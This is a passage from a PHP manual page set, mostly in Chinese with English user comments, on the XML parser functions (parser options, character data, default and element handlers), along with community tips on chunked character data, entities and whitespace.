        $header .= "Content-length: ".strlen($post_string)." \r\n";
        $header .= "Content-transfer-encoding: text \r\n";
        $header .= "Request-number: 1 \r\n";
        $header .= "Document-type: Request \r\n";
        $header .= "Interface-Version: Test 1.4 \r\n";
        $header .= "Connection: close \r\n\r\n";
        $header .= $post_string;

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 4);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);

        $data = curl_exec($ch);         if (curl_errno($ch)) {
           print curl_error($ch);
        } else {
           curl_close($ch);
        }

// use XML Parser on $data, and your set!

        $xml_parser = xml_parser_create();
        xml_parser_set_option($xml_parser,XML_OPTION_CASE_FOLDING,0);
        xml_parser_set_option($xml_parser,XML_OPTION_SKIP_WHITE,1);
        xml_parse_into_struct($xml_parser, $data, $vals, $index);
        xml_parser_free($xml_parser);

// $vals = array of XML tags.  Go get em!

?>

Worked like a dream for me.  Enjoy!
matt at mcbridematt dot dhs dot org 16-Dec-2002 05:56
Re: anony at mous dot com
case folding is a violation of the XHTML specification. xhtml is all in lowercase to be inline with the DOM
pupeno at pupeno dot com 16-Nov-2002 01:14
XML is case sensitive, then, from my point of view, disabling case folding doesn't goes against xml 1.0 specifications but the contrary, disabling case folding allow us to distiguish between diferent cases of the same letter ('a' and 'A') which of XML are two diferent things.
From my point of view, disabling case folding is a good practice and I think it should be disabled by default.
More information on:
http://www.isacat.net/2001/xml/case.htm
and
http://www.w3.org/TR/REC-xml
Thank you.
ta at NOSPAM dot magicsquare dot info 09-Jul-2002 04:52
XML_OPTION_SKIP_WHITE works for me (linux, php 4.2.1)

phpinfo says :

XML Support active
XML Namespace Support active
EXPAT Version expat_1.95.2

i guess it depends on expat version/presence
chris at wildcharacters dot com 21-Oct-2001 07:32
The two 'skip' tags are not available to windows users using PHP 4.0.4.  The following:

$skipWhite = xml_parser_get_option ($xmlParser,XML_OPTION_SKIP_WHITE);
$skipTagStart = xml_parser_get_option ($xmlParser,XML_OPTION_SKIP_TAGSTART);

generates the following errors:
Warning: xml_parser_get_option: unknown option in c:/program files/abria merlin/apache/htdocs/xml/sax_test.php on line 230
anony at mous dot com 20-Apr-2000 05:26
Disable case folding or your code will be violating the XML 1.0 specification.


建立字符数据处理器

  • ? xml_parser_set_option
  • xml_set_default_handler ?
  • PHP Manual
  • XML 解析器函数
  • 建立字符数据处理器

xml_set_character_data_handler

(PHP 4, PHP 5, PHP 7)

xml_set_character_data_handler — 建立字符数据处理器

说明

xml_set_character_data_handler ( resource $parser , callable $handler ) : bool

为 parser 变量指向的 XML 解析器指定字符数据处理函数。

参数

parser

XML 解析器的引用，用于建立字符数据处理器。

handler

handler 为表示一个函数名称的字符串，该函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

由 handler 参数命名的函数名必须接受两个参数：

handler ( resource $parser , string $data )
parser
第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。
data
第二个参数 data 为包含有字符数据的字符串。

Character data handler is called for every piece of a text in the XML document. It can be called multiple times inside each fragment (e.g. for non-ASCII strings).

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

Note: 除了函数名，含有对象引用的数组和方法名也可以作为参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

svanegmond at tinyplanet dot ca 08-Oct-2010 12:06
For those who are having their character entities eaten by this function (e.g. &amp; &lt; and so forth):

You will notice that your callback gets called several times.

input: Give me some beans &amp; rice. &#032;

call 1: Give me some beans
call 2: amp; and rice
call 3: #032;

There is an obvious workaround. This is not perfect:

<?php
        $text = preg_replace('/^([a-z]+;)/','&\1', $text);
        $text = preg_replace('/^(#[0-9]+;)/', '&\1', $text);
?>
jhill at live dot com 28-Aug-2008 07:11
To detect that concatenation of data is taking place, you can keep track of whether the last function call was to the data processing function.
e.g. using $this->inside_data variable below:

<?php
xml_set_element_handler($this->parser, "start_tag", "end_tag");
xml_set_character_data_handler($this->parser, "contents");

protected function contents($parser, $data)
{
    switch ($this->current_tag) {
            case "name":
                if ($this->inside_data)
                    $this->name .= $data; // need to concatenate data
                else
                    $this->name = $data;
                break;
         ...
    }
    $this->inside_data = true;
}

protected function start_tag($parser, $name)
{
    $this->current_tag = $name;
    $this->inside_data = false;
}

protected function end_tag() {
    $this->current_tag = '';
    $this->inside_data = false;
}
?>
unspammable-iain at iaindooley dot com 03-Jan-2006 01:41
re: jason at omegavortex dot com below, another way to deal with whitespace issues is:

        function charData($parser,$data)
        {
            $char_data = trim($data);

            if($char_data)
                $char_data = preg_replace('/  */',' ',$data);

            $this->cdata .= $char_data;
        }

This means that:

    <p>here is my text <a href="something">my text</a>
    and here is some more after some spaces at the
    beginning of the line</p>

comes out properly. You could do further replacements if you want to deal with tabs in your files. i only ever use spaces. if you only use trim() then you would lose the space before the <a> tag above, but trim() is a good way to check for completely empty char data, then just replace more than one space with a single space. this will preserve a single space at the beginning and end of the cdata.
jason at omegavortex dot com 06-Dec-2005 11:00
I don't believe the problem has been addressed, but if you're parsing an XML file and run into the line break (or tab) problem I believe this function may help:

if (!preg_match("/((\r|)\n)/i", $data) || preg_match("/\\t+/i", $data)) {
(Code Here)
}
wako057 at gmx dot fr 22-Aug-2005 09:39
That give an example about the note.
When you are creating a class and you need to use a method of your class to the function xml_set_character_data_handler that is the way to point give the method:

class example
{
   function example()
   {
   }

  function data($parseur, $texte)
  {
      switch ($this->derniereBaliseRencontree)
      {
         case "TITLE":
                     -----
          break;
         case "LINK"
                    -----
         break;
        case "DESCRIPTION":
                    -----
        break;
     }
  }

  function fetchOpen($parseur, $nomBalise, $tableauAttributs)
  {
     ----------------
  }

  function fetchClose($parseur, $nomBalise)
  {
     ----------------
  }

  function ZZZ()
  {
      $parseurXML = xml_parser_create();
       xml_set_element_handler($parseurXML, Array(&$this, 'fetchOpen'),   Array(&$this, 'fetchClose'));
         ---------------- <IMPORTANT> --------------------------
       xml_set_character_data_handler($parseurXML, Array(&$this, 'data'));
        ---------------- </IMPORTANT> --------------------------
}
ben at removethis emediastudios dotcom 05-Aug-2005 03:53
I too love the undocumented "splitting" functionality :-p.

Rather than concatinating the data based on whether or not the current tag name has changed from the previous tag name I suggest always concatinating like the following with the $catData variable being unset in the endElement function:

<?php

function endElement ($parser, $data) {
  global $catData;

  // Because we are at an element end we know any splitting is finished
  unset($GLOBALS['catData']);
}

function characterData ($parser, $data) {
  global $catData;

  // Concatinate data in case splitting is taking place
  $catData.=$data;

}

?>

This got me around a problem with data like the following where, because characterData is not called for empty tags, the previous and current tag names were the same even though splitting was not taking place.

<companydept>
<companydeptID></companydeptID>
<companyID>1</companyID>
<companydeptName></companydeptName>
</companydept>
<companydept>
<companydeptID></companydeptID>
<companyID>2</companyID>
<companydeptName></companydeptName>
</companydept>
<companydept>
<companydeptID></companydeptID>
<companyID>3</companyID>
<companydeptName></companydeptName>
</companydept>
yaroukh at email dot cz 25-Apr-2005 08:51
It would be nice if someone could complete documentation of this function. I think that the "splitting" behaviour should (at least) be mentioned within the documentation, if not explained (please!). I'm not quite sure whether the cut comes after each 1024bytes/chars of data.

My experience looks as follows:
[xmlFile]
...
    <label>slo|?ka</label>
    <comment>koment|?&#345; slo?ky</comment>
...
[/xmlFile]
(Places where the character-data got splitted are marked with pipes. Plus there was latin small letter 'r' with caron instead of &#345;.)

Since the splitting is not mentioned in documentation one could assume that it is a bug; especially when you work with UTF-8 and the cuts come right before some special characters.
(Should the concatenating of $cData be considered to be the proper & 'final' way of processing character-data?)

Also I'd suggest to add another line in "Description" when fc has an alternate usage (instead of hiding it within the "Note" :o); in this particular case I'd prefer this:

Description:
bool xml_set_character_data_handler ( resource parser, callback handler )
bool xml_set_character_data_handler ( resource parser, object reference, method name )

... there are dozens of functions ofcourse where documentation works this way (I mean not mentioning the alternate usage in the "Description" part).

Have a nice day
  Yaroukh
flobee 12-Feb-2005 09:53
re. to Philippe Marc , and  karuna_gadde examples

i found out that the xml_set_character_data_handler call back  function can be called more often for the same element in particular the content is just a few chars long (happen on windows)

so a check up can give you the answer an may be for long strings too.
eg:
<?php
xml_set_character_data_handler($this->parser, "cdata");
//...
function cdata($parser, $cdata) {
// ...
if(isset($this->data[$this->currentItem][$this->currentField])) {
    $this->data[$this->currentItem][$this->currentField] .= $cdata;
} else {
    $this->data[$this->currentItem][$this->currentField] = $cdata;
}
?>
Philippe Marc 28-Oct-2004 07:21
How to overide the 1024 characters limitation of xml_set_character_data_handler.
Took me some time to find out how to deal with that!

When calling a basic XML parser:
$parseurXML = xml_parser_create();
xml_set_element_handler($parseurXML, "opentagfunction", "closetagfunction");
xml_set_character_data_handler($parseurXML, "textfunction");

The textfunction only receive 1024 characters at once, even if the text is 4000 characters long. In facts, the parser seems to split the data in pieces of 1024 characters. The way to handle that is to concatenate them.

example:
If you have an XML tag called UNIPROT_ABSTRACT containing a 4000 characters protein description:
function textfunction($parser, $text)
    {
     if ($last_tag_read=='UNIPROT_ABSTRACT') $uniprot.=$text;
    }
The function is called 4 times and receives 1024+1024+1024+928 characters that will be concatenated in the $uniprot variable using the ".=" concatenation fonction.

Easy to do, but not documented!
Brad dot Harrison at griffith dot edu dot au 11-Jul-2004 10:23
If you need to trim the white space for HTML code and don't rely on spaces for formatting text (if you are then it is time to use Style Sheets) then this code will come in very useful.

 $data=eregi_replace(">"."[[:space:]]+"."<","><",$data);
 $data=eregi_replace(">"."[[:space:]]+",">",$data);
 $data=eregi_replace("[[:space:]]+"."<","<",$data);
karuna_gadde at yahoo dot com 27-May-2004 07:01
<?
class Parser {

var $att;
var $id;
var $title;
var $content;
var $index=-1;
var $xml_parser;
var $tagname;

function parser()
{
$file = "data.xml";
$this->xml_parser = xml_parser_create();
xml_set_object($this->xml_parser,$this);
xml_set_element_handler($this->xml_parser, "startElement", "endElement");
xml_set_character_data_handler($this->xml_parser, 'elementContent');
if (!($fp = fopen($file, "r"))) {
die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
    $data=eregi_replace(">"."[[:space:]]+"."<","><",$data);
if (!xml_parse($this->xml_parser, $data, feof($fp))) {
die(sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($this->xml_parser)),
xml_get_current_line_number($this->xml_parser)));
}
}
xml_parser_free($this->xml_parser);
}

function startElement($parser, $name, $attrs) {
if (($name=="TREE") or ($name=="NODE") or ($name=="LEAFNODE"))
    {
         $this->index++;
         $this->att[$this->index]=$name;
    }
    $this->tagname=$name;
}

function elementContent($parser, $data) {
switch ($this->tagname)
{
     case 'ID':
                 $this->id[$this->index]=trim($data);
                 break;
     case 'TITLE' :
                 $this->title[$this->index]=trim($data);
                 //echo $data;
                 break;
     case 'CONTENT'    :
                 $this->content[$this->index]=trim($data);
                 break;

}
}
function endElement($parser, $name){
$this->tagname=="";
}
}
?>

I thought this class is more help full to know about xml_parser with no white spaces
michael dot stilson at wmich dot edu 04-Mar-2004 12:31
Hello,

This is an addition to the note posted by:
wiart at yahoo dot com
22-Aug-2003 05:31
Which is located below.

I had similar problems manually creating XML docs and adding new-lines within my node data, e.g.

<root>
    ...
    <node attribute="something">
        Here is some data. There is a lot of data, and I want to
        be able to read the data from a terminal window, so I add
        newlines to fit everything within 80 columns.
    </node>
    ...
</root>

So, given the above example, my data handler gets called 3 times and the result left in my variable is:

"newlines to fit everything within 80 columns."

Instead of all of the data within "node", which I was expecting.

By using the concatenation operator; however, as suggested by the mentioned note, I was able to get what I needed. Which is of course:

"Here is some data. There is a lot of data, and I want to be able to read the data from a terminal window, so I add newlines to fit everything within 80 columns."
dan30odd08 at hotmail dot com 01-Dec-2003 04:38
I just want to mention that i ran into a problem when parsing an xml file using the character data handler. If you happen to have a string which is also an internal php function stored in your xml data file and you want to output it as a string the parser dosent seem to recognize it.
   I found a way around this problem. In my case i was storing a string with the value read. This would not allow me to output the data so to work around this problem i added a backslash for every character in the data element.

   e.g.      <xml>
    from    <element>read</element>
    to       <element>////read</element>

i dont know if anyone has ran into this problem or not but i thought i would just put it here just so in case someone is getting stuck with this.
wiart at yahoo dot com 22-Aug-2003 05:31
WARNING !!!
Always use concatenation for getting the content of a XML tag when you write the function that will deal with the Character Data handling

Example:

$mycontent = '';
$xml_parser = xml_parser_create ();
xml_set_character_data_handler($xml_parser, "_characterdata");

function _characterdata($parser, $data){
  global $mycontent;
  //HERE: use .= and not =
  $mycontent .= $data;
}

...

while ($data = fread($fp, 4096)) {
    xml_parse($xml_parser, $data, feof($fp));
}

I had the following problem with the use of '=$data' :

In one of my XML documents, the parsing stopped in the middle of a character data :

In original document:
<prop name="nbres">100</prop>

What happened:
<prop name="nbres">10[parsing stopped here in chunck of 4096bytes]0</prop>

As I did not use the concatenation, when I displayed the value of the 'nbres' property, the value was 0 instead of 100 because the first time the function characterdata was called :
$mycontent = 10;

and the second time:
$mycontent = 0;      //!!!!!!!!!!!!! HO HO !! some problem occured ...

Instead of $mycontent = 100;

CONCLUSION:
IN YOUR CHARACTER DATA HANDLER FUNCTIONS, NEVER FORGET THE . (concatenation operator) !!!!! IF YOU DON'T WANT TO HAVE WEIRD BUGS SOME TIMES
morris_hirsch at hotmail dot com 18-Aug-2003 09:15
Thanks to Christian Stocker for clearing up my entity issues,  where some entities are parsed correctly and others not.

The problem is the ''wide'' entities that have a large numeric code simply can not fit in a single byte, which is the default encoding for both source input to the parser and data output from the parser.  So the parser puts out a ''?'' to say it could not store the code value. One could argue that if the input has a &1234; the output should simply copy it as &1234; instead of the ''?'' but that would still mean the  parser behaves two different ways according to the code values, and anyway they don't do it.

So, we need utf8 encoding for the output, and the slightly not obvious way to say so is

  $xml_parser = xml_parser_create ("UTF-8");

which means BOTH source input and data output are utf8.
Remember that utf8 is a superset of basic ASCII but not of extended ASCII, so your input can contain e.g. &eacute;
spelled out, but a native eacute character is wrong here.
Just utf8_encode your input to be sure.

That should do it, and thanks again for the help.
morris_hirsch at hotmail dot com 06-Aug-2003 12:23
Here are two ways to deal with named entities in the XML.

1. Put a list of named entities at the front so the parser knows what they all mean

  $decl = '<!DOCTYPE rootname [

<!ENTITY frac12  "&#x00BD;" >
<!ENTITY frac14  "&#x00BC;" >
<!ENTITY frac34  "&#x00BE;" >
<!ENTITY frac18  "&#x215B;" >
<!ENTITY frac38  "&#x215C;" >
<!ENTITY frac58  "&#x215D;" >
<!ENTITY frac78  "&#x215E;" >
<!ENTITY frac13  "&#x2153;" >
<!ENTITY frac23  "&#x2154;" >
<!ENTITY frac15  "&#x2155;" >
<!ENTITY frac25  "&#x2156;" >
<!ENTITY frac35  "&#x2157;" >
<!ENTITY frac45  "&#x2158;" >
<!ENTITY frac16  "&#x2159;" >
<!ENTITY frac56  "&#x215A;" >

<!ENTITY mdash  "&#x2014;" >

 ..... lots of others

<!ENTITY uuml    "&#252;" >
<!ENTITY yacute  "&#253;" >
<!ENTITY thorn   "&#254;" >
<!ENTITY yuml    "&#255;" >

]>';

$parseThis = $decl . "<rootname> ..... </rootname>";

This works fine for all the single-byte (European) codes,
but not the wide codes like emdash or frac18.
They seem to be trashed when the character data handler gets them.  They all echo as "?"

There may be a way to make them work, but until I find it,
or a newer release takes care of it, here is a work-around that does work.

2. Rewrite every ampersand as &amp; in the input stream

 $ampXML = str_replace ("&", "&amp;", $sourceXML);

Now the parser will see &amp;foo; instead of &foo;

It does not try to decode it, so wide (two byte) values are not a problem, and no list of names is needed.

When you write that to your output you have &foo;

which is usually fine for the next stage of your process.
www.PhoC.de 20-May-2003 07:39
In some cases it's better to avoid storing data which is not needed. In these cases the function

chop()  ( => Alias of function rtrim() )

could be usefull to prevent data like

"\t"
"\r"
"\o"
"\n"
"\x0B"
" "

to be stored in a array or a string or something like this.

Example: (storing data in a string)
________________
$filename="xyz.xml";

if(!($fp=fopen($filename,"r"))){
   die("Cannot open $filename ");
}

while (!feof($fp))
{
   $data .= chop(fgets($fp, 4096));
}

fclose($fp);
________________

Have a look at the documentation of rtrim() http://www.php.net/manual/en/function.rtrim.php.

Greetz
PhoC
waldo at wh-e dot com 06-Mar-2002 09:52
Here's a way to strip all the spaces between tags in an xml document.

//strip white space between tags
$data=eregi_replace(">"."[[:space:]]+"."<","><",$data);

So this:

<house>
  <garage>
    <car>Waldo</car>
  </garage>
</house>

would be changed to:

<house><garage><car>Waldo</car></garage></house>

It was useful to me. Maybe you too?
ken at positive-edge dot com 29-Jan-2002 08:20
the function handler is called several times when it parses the character data.  It doesn't return the entire string as it suggests.  There are special exceptions that will always force the parser to stop scanning and call the character data handler.  This is when:

- The parser runs into an Entity Declaration, such as &amp; (&) or &apos; (?)
- The parser finishes parsing an entity
- The parser runs into the new-line character (\n)
- The parser runs into a series of tab characters (\t)

And perhaps others.

For instance, if we have this xml content:

<mytag name=?Ken Egervari? title=?Chief Technology Officer?>
    Ken has been Positive Edge&apos;s Chief Technology Officer for 2 years.
</mytag>

The parser will call the character data handler 6 times.  This is what will happen:

1    \n
2    \t
3    Ken has been Positive Edge
4    ?
5    s Chief Technology Officer for 2 years.
6    \n

I hope that helps people out.
mogmios at mlug dot missouri dot edu 24-Oct-2001 04:24
If you want to strip unwanted whitespace in an HTML-like manner then there are two steps.

The first you need to strip consecutive whitespaces from all you input data like this:  $data = eregi_replace ( "[[:space:]]+", " ", $data );

Then in your cdata handler make a check to see if it's blank space. An easy way is like this: if ( trim ( $cdata ) ) { work on cdata }

That should take care of any whitespace issues you might have.
annies at cs dot tu-berlin dot de 03-Aug-2001 10:43
The maximum size of the second parmeter $data seems to be 1024. Is there more character data  in the XML text the handler is called again immediately with the next portion.


建立默认处理器

  • ? xml_set_character_data_handler
  • xml_set_element_handler ?
  • PHP Manual
  • XML 解析器函数
  • 建立默认处理器

xml_set_default_handler

(PHP 4, PHP 5, PHP 7)

xml_set_default_handler — 建立默认处理器

说明

xml_set_default_handler ( resource $parser , callable $handler ) : bool

为 parser 指定的 XML 处理器建立默认处理函数。

参数

parser

XML 解析器的引用，用于建立默认处理器函数。

handler

handler 为表示一个函数名称的字符串，该函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

由 handler 参数命名的函数名必须接受两个参数：

handler ( resource $parser , string $data )
parser
第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。
data
第二个参数 data 为包含有字符数据的字符串。其内容可以是 XML 声明、文档类型声明、实体名或者其它没有已存在处理器的地数据。

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

Note: 除了函数名，含有对象引用的数组和方法名也可以作为参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

anoril at anoril dot com 13-Jul-2006 07:54
I have the same issue using two installation of PHP5: on accepts to use the default handler while the other only uses the character_data one.

Maybe a configuration problem...

;) Nonor.
phillip 26-Apr-2005 02:13
it seems to me that in PHP5 the function defined as default-handler (using xml_set_default_handler()) doesen't get passed the cdata anymore:

i.e.:
xml_set_element_handler($this->parser, 'parseSTART', 'parseEND');
xml_set_default_handler($this->parser, 'parseDEFAULT');
function parseSTART() { ... }
function parseEND() { ... }
function parseDEFAULT() { ... }

under PHP5, parseDEFAULT will NOT get passed any cdata, but unter PHP4 it will. at least that's my take on the strange stuff (not) happening after migrating to PHP5.

my solution was to add a xml_set_character_data_handler($parser, 'parseDEFAULT'). it worked for me.


建立起始和终止元素处理器

  • ? xml_set_default_handler
  • xml_set_end_namespace_decl_handler ?
  • PHP Manual
  • XML 解析器函数
  • 建立起始和终止元素处理器

xml_set_element_handler

(PHP 4, PHP 5, PHP 7)

xml_set_element_handler — 建立起始和终止元素处理器

说明

xml_set_element_handler ( resource $parser , callable $start_element_handler , callable $end_element_handler ) : bool

为 parser 参数指定的 XML 解析器建立元素处理器函数。参数 start_element_handler 和 end_element_handler 为表示函数名称的字符串，这些函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

参数

parser

XML 解析器的引用，用于建立起始和终止元素处理器。

start_element_handler

由 start_element_handler 参数命名的函数名必须接受三个参数：

start_element_handler ( resource $parser , string $name , array $attribs )
parser
第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。
name
第二个参数 name 为该处理器为之被调用的元素名。如果大小写折叠（case-folding）对该解析器有效，元素名将用大写字母表示。
attribs
第三个参数 attribs 为一个包含有对应元素的属性的数组（如果该元素有属性）。数组元素的下标为属性名，元素的值即为属性的值。属性名将以和元素名同样的标准进行大小写折叠（case-folded），其值不进行大小写折叠。 属性的原始顺序将会被参数保留，用 each() 函数遍历 attribs 时，该数组下表的顺序和属性的顺序相同。

Note: 除了函数名，含有对象引用的数组和方法名也可以作为参数。

end_element_handler

由 end_element_handler 参数命名的函数名必须接受两个参数：

end_element_handler ( resource $parser , string $name )
parser
第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。
name
第二个参数 name 为该处理器为之被调用的元素名。如果大小写折叠（case-folding）对该解析器有效，元素名将用大写字母表示。

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

kok at nachon dot nl 26-Sep-2008 06:44
Here is another example of detecting empty elements. I works with libxml2. Note that it handles buffer boundaries.

<?php

$depth = 0; //current depth, used for pretty printing
$empty = false; //whether the tag is empty
$offset = 0; //the index of the start of the current buffer within the stream

function tagStart($parser, $name, array $attribs) {
    global $depth, $empty, $data, $offset, $lastchar;
    $idx = xml_get_current_byte_index($parser);
    /* xml_get_current_byte_index returns index within the streams and not
       within the buffer.*/

    /* Check if the index is within the buffer. */
    if (isset($data[$idx - $offset])) {
        $c = $data[$idx - $offset];
    } else {
        /* If it isn't simple use the last character of the buffer. */
        $c = $lastchar;
    }
    $empty = $c == '/';
    echo str_repeat("\t", $depth), "<$name", ($empty ? '/>' : '>'), "\n";
    if (!$empty) ++$depth;
}

function tagEnd($parser, $name) {
    global $depth, $empty;
    if (!$empty) {
        --$depth;
        echo str_repeat("\t", $depth), "</$name>\n";
    } else {
        $empty = false;
    }
}

$parser = xml_parser_create();
xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);
xml_set_element_handler($parser, 'tagStart', 'tagEnd');

$data1 = '
<test>
    <empty att="3" />
    <nocontent></nocontent>
    <content>
        <empty/>
        <empty/>
    </content>
    <empty/';

$data2 = '>
    <empty att="5" />
</test>
';

$data = &$data1;
$length = strlen($data1);
$lastchar = $data[$length-1];
xml_parse($parser, $data1);
$offset .= $length;
$data = &$data2;
xml_parse($parser, $data2);
darien at etelos dot com 12-Feb-2007 10:48
This documentation is somewhat awry. I know it's been said many times before, but it bears repeating...

If using PHP4, you may be required to use xml_set_object() instead of calling any of the xml_set_*_handler() functions with a two-item array. It will work fine on PHP5, but move the same code to PHP4 and it will create one copie of $this (even if you use &$this) for each handler you set!

<?php
// This code will fail mysteriously on PHP4.
$this->parser = xml_parser_create();
xml_set_element_handler(
            $this->parser,
            array(&$this,"start_tag"),
            array(&$this,"end_tag")
        );
        xml_set_character_data_handler(
            $this->parser,
            array(&$this,"tag_data")
        );
?>

<?php
// This code will work on PHP4.
$this->parser = xml_parser_create();
xml_set_object($this->parser,&$this);
xml_set_element_handler(
            $this->parser,
            "start_tag",
            "end_tag"
        );
        xml_set_character_data_handler(
            $this->parser,
            "tag_data"
        );
?>
lloeki at gmail dot com 31-Oct-2006 03:07
I modified the previous script, so that it is associative. I find it more useful that way. BTW I prefer strtolower() things, but that's not mandatory at all.

<?php

$file = "data.xml";
$depth = 0;
$tree = array();
$tree['name'] = "root";
$stack[] = &$tree;

function startElement($parser, $name, $attrs) {
   global $depth;
   global $stack;
   global $tree;

   $element = array();
   foreach ($attrs as $key => $value) {
       $element[strtolower($key)]=$value;
   }

   end($stack);
   $stack[key($stack)][strtolower($name)] = &$element;
   $stack[strtolower($name)] = &$element;

   $depth++;
}

function endElement($parser, $name) {
   global $depth;
   global $stack;

   array_pop($stack);
   $depth--;
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startElement", "endElement");
if (!($fp = fopen($file, "r"))) {
   die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
   if (!xml_parse($xml_parser, $data, feof($fp))) {
       die(sprintf("XML error: %s at line %d",
                   xml_error_string(xml_get_error_code($xml_parser)),
                   xml_get_current_line_number($xml_parser)));
   }
}
xml_parser_free($xml_parser);
$tree = end(end($stack));
echo "<pre>";
print_r($tree);
echo "</pre>";

?>
rubentrancoso at gmail dot com 29-Aug-2006 01:44
My 25 cents. This example show how to parse a XML in a associative array tree.

<?php

$file = "flow/flow.xml";
$depth = 0;
$tree = array();
$tree['name'] = "root";
$stack[count($stack)] = &$tree;

function startElement($parser, $name, $attrs) {
   global $depth;
   global $stack;
   global $tree;

   $element = array();
   $element['name'] = $name;
   foreach ($attrs as $key => $value) {
        //echo $key."=".$value;
        $element[$key]=$value;
    }

   $last = &$stack[count($stack)-1];
   $last[count($last)-1] = &$element;
   $stack[count($stack)] = &$element;

   $depth++;
}

function endElement($parser, $name) {
   global $depth;
   global $stack;

   array_pop($stack);
   $depth--;
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startElement", "endElement");
if (!($fp = fopen($file, "r"))) {
   die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
   if (!xml_parse($xml_parser, $data, feof($fp))) {
       die(sprintf("XML error: %s at line %d",
                   xml_error_string(xml_get_error_code($xml_parser)),
                   xml_get_current_line_number($xml_parser)));
   }
}
xml_parser_free($xml_parser);
$tree = $stack[0][0];
echo "<pre>";
print_r($tree);
echo "</pre>";
redb 15-May-2006 05:48
Example below (BadParser) works fine with some changes.

xml_set_element_handler ( $parser, array ( &$this, 'tagStart' ), array ( &$this, 'tagEnd' ) );
xml_set_character_data_handler ( $parser, array ( &$this, 'tagContent' ) );
vladimir-leontiev at uiowa dot edu 13-Dec-2005 09:44
It seems that characterData() gets characters in chuncks of 1024; therefore if you have string of characters between you tags that is longer than 1024 then characterData() will be called more that once for single pair of tags. I don't know if this feature(bug?) is documented anywhere, I just wanted to warn everyone about this; it had tripped me. I use php 4.3.10 on Linux.
hendra_g at hotmail dot com 19-Nov-2005 08:10
I ran into the same problem with 'ibjoel at hotmail dot com' in regards to self-closing tags, and found that the script that he/she wrote did not work as I expected.
I played around with some of php's functions and examples and compiled something, which may not be the neatest solution, but it works for the data that 'ibjoel at hotmail dot com' provided.
The data needs to be read from a file though, so the fp can be utilised. It still uses the xml_get_current_byte_index(resource parser) trick, but this time, I check for the last 2 character before the index and test if it's "/>".

<?php
/* myxmltest.xml:
<normal_tag>
  <self_close_tag />
     data
  <normal_tag>data
     <self_close_tag attr="value" />
  </normal_tag>
     data
  <normal_tag></normal_tag>
</normal_tag>
*/

//## Global Variables ##//
$file = "myxmltest.xml";
$character_data_on = false;
$tag_complete = true;

function startElement($parser, $name, $attrs)
{
    global $character_data_on;
    global $tag_complete;

    echo "&lt;<font color=\"#0000cc\">$name</font>";
    //## Print the attributes ##//
    if (sizeof($attrs)) {
        while (list($k, $v) = each($attrs)) {
            echo " <font color=\"#009900\">$k</font>=\"<font
                   color=\"#990000\">$v</font>\"";
        }
    }
    //## Tag is still still incomplete,
    //## will be completed at either endElement or characterData ##//
    $tag_complete = false;
    $character_data_on = false;
}

function endElement($parser, $name)
{
    global $fp;
    global $character_data_on;
    global $tag_complete;

    //#### Test for self-closing tag ####//
    //## xml_get_current_byte_index(resource parser) when run in this
    //## function, gives the index at (indicated by *):
    //##   for self closing tag: <br />*
    //##   for individual closing tag: <div>character data*</div>
    //## So to test for self-closing tag, we can just test for the last 2
    //## characters from the index
    //###################################//

    if (!$character_data_on) {
        //## Record current fp position ##//
        $temp_fp = ftell($fp);

        //## Point fp to 2 bytes before the end element byte index ##//
        $end_element_byte_index = xml_get_current_byte_index($parser);
        fseek($fp,$end_element_byte_index-2);

        //## Gets the last 2 characters before the end element byte index ##//
        $validator = fgets($fp, 3);

        //## Restore fp position ##//
        fseek($fp,$temp_fp);

        //## If the last 2 character is "/>" ##//
        if ($validator=="/>") {
            //// Complete the self-closing tag ////
            echo " /&gt";
            //// Otherwise it is an individual closing tag ////
        } else echo "&gt&lt/<font color=\"#0000cc\">$name</font>&gt";
        $tag_complete = true;
    } else echo "&lt/<font color=\"#0000cc\">$name</font>&gt";

    $character_data_on = false;
}

function characterData($parser, $data)
{
    global $character_data_on;
    global $tag_complete;

    if ((!$character_data_on)&&(!$tag_complete)) {
        echo "&gt";
        $tag_complete = true;
    }
    echo "<b>$data</b>";
    $character_data_on = true;
}

$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, false);
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "characterData");
if (!($fp = fopen($file, "r"))) {
    die("could not open XML input");
}

echo "<pre>";
while ($file_content = fread($fp, 4096)) {
    if (!xml_parse($xml_parser, $file_content, feof($fp))) {
        die(sprintf("XML error: %s at line %d",
                    xml_error_string(xml_get_error_code($xml_parser)),
                    xml_get_current_line_number($xml_parser)));
    }
}
echo "</pre>";
xml_parser_free($xml_parser);
?>
turan dot yuksel at tcmb dot gov dot tr 20-Sep-2005 03:41
The method that 'ibjoel at hotmail dot com' have described requires libxml2 as the xml parser, it does not work with expat. For a brief explanation, see xml_get_current_byte_index.
ibjoel at hotmail dot com 01-Aug-2005 03:49
I noticed that in the example below, and all the examples I've seen on this site for viewing xml in html, the look of self closing tags such as <br /> are not preserved. The parser cannot distinguish between <tag /> and <tag></tag>, and if your start and end element functions are like these examples, both instances will be output with both an indvidual start and end tag.  I needed to preserve self-closing tags and it took me a while to figure out this work around. Hope this helps someone...

